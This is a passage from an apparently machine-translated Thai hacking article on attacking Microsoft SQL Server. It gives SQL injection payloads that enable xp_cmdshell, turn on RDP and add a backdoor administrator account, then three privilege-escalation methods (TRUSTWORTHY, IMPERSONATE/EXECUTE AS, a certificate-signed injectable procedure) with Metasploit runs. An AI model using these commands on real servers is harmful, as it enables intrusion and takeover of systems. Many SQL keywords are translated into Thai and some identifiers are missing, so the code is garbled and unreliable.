ตัวแปร $id ไม่ถูกกรองด้วยวิธีใด ๆ ซึ่งหมายความว่าเป็นไปได้ที่จะดำเนินการฉีด SQL ซึ่งคำขอใด ๆ จะถูกดำเนินการจากภายใต้บัญชีผู้ดูแลระบบ sa ในการดำเนินการคำสั่งในระดับระบบปฏิบัติการ คุณต้องเปิดใช้งานขั้นตอนการจัดเก็บ xp_cmdshell ซึ่งจะปิดใช้งานตามค่าเริ่มต้น เราจำเป็นต้องส่งคำขอสี่รายการเพื่อเปิดใช้งาน:

  1. EXEC sp_configure "แสดงตัวเลือกขั้นสูง",1;
  2. กำหนดค่าใหม่;
  3. 'exec sp_configure "xp_cmdshell",1;
  4. กำหนดค่าใหม่

กระบวนงานที่จัดเก็บระบบ sp_configure อนุญาตให้คุณดู จัดทำเอกสาร แก้ไข และกู้คืนการกำหนดค่าเซิร์ฟเวอร์ วิธีที่ง่ายที่สุดในการเข้าถึงเซิร์ฟเวอร์คือการเปิดใช้งาน RDP ผ่านรีจิสตรี สร้างผู้ใช้ที่มีสิทธิ์ของผู้ดูแลระบบและเชื่อมต่อ

เปิดใช้งาน RDP:

10; reg เพิ่ม "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f

สร้างผู้ใช้:

10; exec master.dbo.xp_cmdshell "net user root toor /ADD"

เราให้สิทธิ์:

10;exec master.dbo.xp_cmdshell "ผู้ดูแลระบบ net localgroup root/add"

การเพิ่มสิทธิพิเศษ เชื่อถือได้

ในกรณีก่อนหน้านี้ คำขอไปยังฐานข้อมูลนั้นทำในนามของผู้ดูแลระบบ ดังนั้นจึงง่ายต่อการดำเนินการคำสั่งของระบบปฏิบัติการ แต่ถ้าเรามีบัญชีที่ถูกตัดทอนซึ่งไม่มีสิทธิ์เปิดใช้งาน xp_cmdshell ล่ะ ในกรณีนี้ ขั้นตอนการจัดเก็บและคุณสมบัติ TRUSTWORTHY ที่เปิดใช้งานของฐานข้อมูลจะช่วยเราได้

แต่ขอเริ่มจากจุดเริ่มต้น เพื่อความชัดเจนยิ่งขึ้นของเวกเตอร์นี้ ฉันจะอธิบายขั้นตอนทั้งหมดในขั้นตอนการกำหนดค่าฐานข้อมูลและบัญชี เราสร้าง ฐานใหม่ YOLO: สร้างฐานข้อมูล YOLO; . สร้างผู้ใช้ใหม่ด้วยรหัสผ่าน marley: สร้างเข้าสู่ระบบ bob ด้วยรหัสผ่าน = "marley"; กำหนดผู้ใช้ Bob เป็นเจ้าของฐานข้อมูล YOLO:

ใช้ YOLO ALTER LOGIN กับ default_database = ; สร้างผู้ใช้จากการเข้าสู่ระบบ ; EXEC sp_addrolemember , ;

จากนั้นเราตั้งค่าคุณสมบัติ TRUSTWORTHY ซึ่งกำหนดว่าจะอนุญาตให้ออบเจกต์ของฐานข้อมูลนี้ (มุมมอง ฟังก์ชันที่ผู้ใช้กำหนด โพรซีเดอร์ที่เก็บไว้) เข้าถึงออบเจ็กต์นอกฐานข้อมูลนี้ในโหมดการเลียนแบบ: ALTER DATABASE YOLO SET TRUSTWORTHY ON หรือไม่ เข้าสู่ระบบ SQL Server โดยใช้บัญชี bob:marley

สร้างกระบวนงานที่เก็บไว้เพื่อกำหนด บัญชีสิทธิ์การดูแลระบบของ Bob:

ใช้ YOLO GO สร้างขั้นตอน sp_lvlup ด้วยการดำเนินการเป็นเจ้าของในฐานะ EXEC sp_addsrvrolemember "bob","sysadmin" GO

ตรวจสอบให้แน่ใจว่าเราไม่มีสิทธิ์ดูแลระบบก่อนที่จะดำเนินการตามขั้นตอนที่เก็บไว้:

SELECT is_srvrolemember("sysadmin") ผลลัพธ์ = 0

มาดำเนินการขั้นตอนการจัดเก็บ sp_lvlup ที่สร้างขึ้นด้านบน:

ใช้ YOLO EXEC sp_lvlup

ตรวจสอบสิทธิ์ของเราอีกครั้ง:

เลือก is_srvrolemember("sysadmin") ผลลัพธ์ = 1

sp_lvlup ได้รับการออกแบบให้ทำงานในฐานะ OWNER ซึ่งในกรณีนี้คือบัญชีผู้ดูแลระบบ sa สิ่งนี้เป็นไปได้เนื่องจาก db_owner ได้สร้างกระบวนงานที่เก็บไว้สำหรับฐานข้อมูล และฐานข้อมูลนั้นได้รับการกำหนดค่าให้เชื่อถือได้ เช่น คุณสมบัติ TRUSTWORTHY = On หากไม่มีคุณสมบัตินี้ โพรซีเดอร์จะไม่สามารถดำเนินการได้เนื่องจากไม่มีสิทธิ์ คุณสมบัติ TRUSTWORTHY ที่เปิดใช้งานไม่ใช่สิ่งเลวร้ายเสมอไป ปัญหาเริ่มต้นเมื่อผู้ดูแลระบบไม่ลดสิทธิ์ของเจ้าของฐานข้อมูล เป็นผลให้หลังจากดำเนินการขั้นตอน sp_lvlup บัญชี bob ได้รับสิทธิ์การดูแลระบบ หากต้องการดูว่าฐานใดบ้างที่เปิดใช้งานคุณสมบัติ TRUSTWORTHY คุณสามารถใช้แบบสอบถามต่อไปนี้:

เลือกชื่อ, database_id, is_trustworthy_on จาก sys.databases

หรือเพื่อทำให้กระบวนการทั้งหมดเป็นไปโดยอัตโนมัติ คุณสามารถใช้โมดูล Metasploit mssql_escalate_dbowner_sqli:

ใช้ auxiliary/admin/mssql/mssql_escalate_dbowner_sqli set rhost 172.16.2.104 set rport 80 set GET_PATH /login.asp?id=1+and+1=;-- ใช้ประโยชน์ ... [+] 172.16.2.104:80 - สำเร็จ! Bob เป็นผู้ดูแลระบบแล้ว!

การเพิ่มสิทธิพิเศษ การเลียนแบบผู้ใช้

เวกเตอร์ถัดไปเรียกว่า User Impersonation บางครั้งขั้นตอนการจัดเก็บจำเป็นต้องเข้าถึงทรัพยากรภายนอกนอกฐานแอปพลิเคชัน เพื่อให้บรรลุเป้าหมายนี้ นักพัฒนาจะใช้สิทธิ์ IMPERSONATE และฟังก์ชัน EXECUTE AS เพื่อดำเนินการตามคำขอในนามของบัญชีอื่น นี่ไม่ใช่ช่องโหว่ แต่เป็นการกำหนดค่าที่อ่อนแอซึ่งนำไปสู่การยกระดับสิทธิ์

ในตัวอย่างก่อนหน้านี้ เราจะเริ่มวิเคราะห์สาระสำคัญของเวกเตอร์ในขั้นตอนการกำหนดค่า ก่อนอื่น เราสร้างสี่บัญชี:

สร้างล็อกอิน User1 ด้วย PASSWORD = "secret"; สร้างล็อกอิน User2 ด้วยรหัสผ่าน = "ความลับ"; สร้างการเข้าสู่ระบบ User3 ด้วยรหัสผ่าน = "ความลับ"; สร้างล็อกอิน User4 ด้วยรหัสผ่าน = "ความลับ";

จากนั้นเราจะให้สิทธิ์แก่ผู้ใช้ User1 เพื่อดำเนินการตามคำขอในนามของ sa , User2 , User3:

ยูสมาสเตอร์; ให้ปลอมตัวเมื่อเข้าสู่ระบบ::sa ถึง ; ให้ปลอมตัวเมื่อเข้าสู่ระบบ::MyUser2 ถึง ; ให้ปลอมตัวเมื่อเข้าสู่ระบบ::MyUser3 ถึง ; ไป

เราลงชื่อเข้าใช้ SQL Server ภายใต้บัญชี User1 และตรวจสอบว่ามีการใช้สิทธิ์ในการดำเนินการสืบค้นจากบัญชีอื่นหรือไม่

เลือก b.name ที่แตกต่างกันจาก sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = "IMPERSONATE"

ตอนนี้มาตรวจสอบสิทธิ์ปัจจุบันกัน:

เลือก SYSTEM_USER เลือก IS_SRVROLEMEMBER("sysadmin") ผลลัพธ์ = 0

ตอนนี้เคล็ดลับคือการดำเนินการตามคำขอในนามของ sa เนื่องจากเราได้ให้สิทธิ์แก่บัญชี User1 เพื่อดำเนินการคำขอในนามของ sa:

EXECUTE AS LOGIN = "sa" เลือก SYSTEM_USER เลือก IS_SRVROLEMEMBER("sysadmin") ผลลัพธ์ = 1

เอาล่ะ ตอนนี้เราสามารถรันคำสั่งในนามของ sa ได้ ซึ่งหมายความว่าเราสามารถรวม xp_cmdshell โพรซีเดอร์ที่เก็บไว้:

EXEC sp_configure "แสดงตัวเลือกขั้นสูง", 1 กำหนดค่าใหม่ GO EXEC sp_configure "xp_cmdshell", 1 กำหนดค่าใหม่ GO

ข้อมูล

บัญชี sysadmin เริ่มต้นสามารถเรียกใช้การสืบค้นในฐานะผู้ใช้รายอื่น หากต้องการแสดงตารางที่มีผู้ใช้ทั้งหมด แบบสอบถามจะช่วยคุณ: SELECT * FROM master.sys.sysusers WHERE islogin = 1 หากต้องการดำเนินการตามคำขอในนามของบัญชีอื่น ให้ใช้ EXECUTE AS LOGIN = "AnyUser" หากต้องการกลับไปที่บัญชีก่อนหน้าอีกครั้ง เพียงส่งแบบสอบถาม REVERT ก็เพียงพอแล้ว

นั่นคือประเด็นทั้งหมด สำหรับการทำงานอัตโนมัติ คุณสามารถใช้โมดูล mssql_escalete_executeas_sqli Metasploit ได้ตามปกติ:

ใช้ auxiliary/admin/mssql/mssql_escalate_execute_as_sqliex set rhost 172.16.2.104 set rport 80 set GET_PATH /login.asp?id=1+and+1=;-- ใช้ประโยชน์ ... [+] 172.16.2.104:80 - สำเร็จ! User1 เป็นผู้ดูแลระบบแล้ว!

การเพิ่มสิทธิพิเศษ ขั้นตอนการจัดเก็บที่ลงนามด้วยใบรับรอง

เพื่ออธิบายเวกเตอร์นี้ เรามาสร้างขั้นตอนการจัดเก็บที่มีช่องโหว่ซึ่งลงนามด้วยใบรับรอง ไม่เหมือนกับตัวอย่างก่อนหน้านี้ การเพิ่มระดับสิทธิ์ไม่จำเป็นต้องใช้:

  • คุณสมบัติ TRUSTWORTHY = เปิด ;
  • สิทธิ์ IMPERSONATE และฟังก์ชัน EXECUTE AS;
  • การกำหนดค่าขั้นตอนที่จัดเก็บด้วยคลาส WITH EXECUTE AS เพื่อดำเนินการเป็นบัญชีอื่น

มาสร้างบัญชีที่มีสิทธิ์ขั้นต่ำกันเถอะ:

สร้างการเข้าสู่ระบบด้วยรหัสผ่าน = "โลกิ"; GO -- ตั้งค่าฐานข้อมูลเริ่มต้นของการเข้าสู่ระบบ ALTER LOGIN ด้วย default_database = ; ไป

ปิดคุณสมบัติ TRUSTWORTHY: ALTER DATABASE master SET TRUSTWORTHY OFF และมาสร้างกระบวนงานที่เก็บไว้อย่างง่าย sp_xxx ซึ่งจะแสดงคอลัมน์ชื่อจากฐานข้อมูล tempdb รวมถึงจากฐานข้อมูลที่ผู้ใช้ป้อน:

ใช้หลัก; ไปสร้างขั้นตอน sp_xxx @DbName varchar(max) AS BEGIN ประกาศ @query เป็น varchar(max) SET @query = "SELECT name FROM master..sysdatabases where name like ""%"+ @DbName+"%"" OR name=" "tempdb"""; ดำเนินการ(@query) สิ้นสุด GO

หลังจากนั้น เราจะสร้างคีย์เข้ารหัสสำหรับฐานข้อมูล MASTER:

สร้างการเข้ารหัสคีย์หลักด้วยรหัสผ่าน = "ความลับ"; ไป

และใบรับรอง:

สร้างใบรับรอง sp_xxx_cert กับ SUBJECT = "เพื่อลงชื่อ sp_xxx", EXPIRY_DATE = "2035-01-01"; ไป

ขั้นตอนต่อไปคือการสร้างการเข้าสู่ระบบจากใบรับรอง sp_xxx:

สร้างการเข้าสู่ระบบ sp_xxx_login จากใบรับรอง sp_xxx_cert

และลงนามขั้นตอนด้วยใบรับรองที่สร้างขึ้น:

เพิ่มลายเซ็นใน sp_xxx โดยใบรับรอง sp_xxx_cert; ไป

มากำหนดสิทธิ์ดูแลระบบ sp_lvlup2 กันเถอะ:

EXEC master..sp_addsrvrolemember @loginame = N"sp_xxx_login", @rolename = N"sysadmin" GO

เราให้สิทธิ์แก่สมาชิกของกลุ่มสาธารณะในการดำเนินการตามขั้นตอน:

มอบสิทธิ์ดำเนินการบน sp_xxx สู่สาธารณะ

เป็นผลให้เราสร้างผู้ใช้ทอร์ที่มีสิทธิ์น้อยที่สุด ขั้นตอนการจัดเก็บ sp_xxx ที่แสดงชื่อของฐานข้อมูลที่ป้อน สร้างใบรับรอง sp_xxx_cert และลงนามขั้นตอนการจัดเก็บด้วย และสร้างการเข้าสู่ระบบ sp_xxx_login จากใบรับรองและให้การดูแลระบบ สิทธิพิเศษ เสร็จสิ้นส่วนเตรียมการ เราเข้าสู่ระบบด้วยบัญชี tor และเรียกใช้ขั้นตอนการจัดเก็บ:

EXEC MASTER.dbo.sp_xxx "หลัก"

ตามที่คาดไว้ มันจะส่งคืนชื่อฐานข้อมูลที่เราระบุ - master และ tempdb (ดูรูปที่ 3)

ข้าว. 3. ผลลัพธ์ของการค้นหา EXEC MASTER.dbo.sp_xxx "master"

ข้อความค้นหาเช่น EXEC MASTER.dbo.sp_sqli2 "master""--" จะส่งคืนเฉพาะ master (ดูรูปที่ 4)

รูปที่ 4 ผลลัพธ์ของแบบสอบถาม EXEC MASTER.dbo.xxx "master""--"

ยอดเยี่ยม. ซึ่งหมายความว่ากระบวนงานที่จัดเก็บไวต่อการฉีด SQL ตรวจสอบสิทธิ์ของเราด้วยคำถามต่อไปนี้:

EXEC MASTER.dbo.sp_xxx "master""; SELECT is_srvrolemember(""sysadmin"") เป็น priv_certsp--";

priv_cersp=1 (ดูรูปที่ 5) หมายความว่าเรามีสิทธิ์ดูแลระบบ รันคำสั่ง EXEC master..xp_cmdshell "whoami"; จะไม่ทำงานเนื่องจากบัญชีทอร์มีสิทธิ์น้อยที่สุด แต่ถ้าแบบสอบถามนี้ถูกแทรกลงในการฉีด SQL ทุกอย่างจะทำงาน (รูปที่ 6)

สิ่งที่น่าสนใจที่สุดคือเคล็ดลับดังกล่าวจะใช้ได้ในเวอร์ชัน 2548-2557

บทสรุป

ความแตกต่างของเวกเตอร์เหล่านี้มีความสำคัญมาก ในบางกรณี เพื่อให้บรรลุเป้าหมาย คุณสามารถจำกัดตัวเองให้อยู่ในคุณสมบัติ TRUSTWORTHY ที่รวมอยู่ ซึ่งอนุญาตให้อ็อบเจ็กต์นอกฐานข้อมูลใช้ทรัพยากรของฐานข้อมูลนี้เพื่อสร้างและดำเนินการกระบวนงานที่เก็บไว้ซึ่งยกระดับสิทธิ์ ที่ไหนสักแห่งที่เป็นไปได้ที่จะดำเนินการตามขั้นตอนที่จัดเก็บไว้ในนามของบัญชีอื่นเนื่องจากมีสิทธิ์ของ IMPERSONATE และฟังก์ชัน EXECUTE AS และในกรณีที่สาม สิ่งสำคัญคือต้องมีการฉีด SQL ซึ่งสามารถแทรกคิวรีได้ จะถูกดำเนินการในนามของบัญชีอื่น เพื่อความเข้าใจอย่างสมบูรณ์เกี่ยวกับความแตกต่างและรายละเอียดปลีกย่อย ฉันขอแนะนำให้คุณตรวจสอบเวกเตอร์เหล่านี้ในเครื่องของคุณ

บทความนี้ไม่ได้นำเสนอเวกเตอร์การโจมตีทั้งหมดบน MS SQL DBMS อย่างครบถ้วน แต่จะมีประโยชน์มากสำหรับการวิเคราะห์ความปลอดภัยแบบผิวเผิน ฉันยังแนะนำให้คุณทำความคุ้นเคยกับเวกเตอร์แฮ็กอื่นผ่านลิงก์ DB ซึ่งอธิบายโดย Alexey Tyurin ใน ][ (#191) ฉบับเดือนธันวาคมในหัวข้อ Easy Hack เท่านี้ก็ขอบคุณที่ให้ความสนใจ แล้วพบกันใหม่



กำลังโหลด...
สูงสุด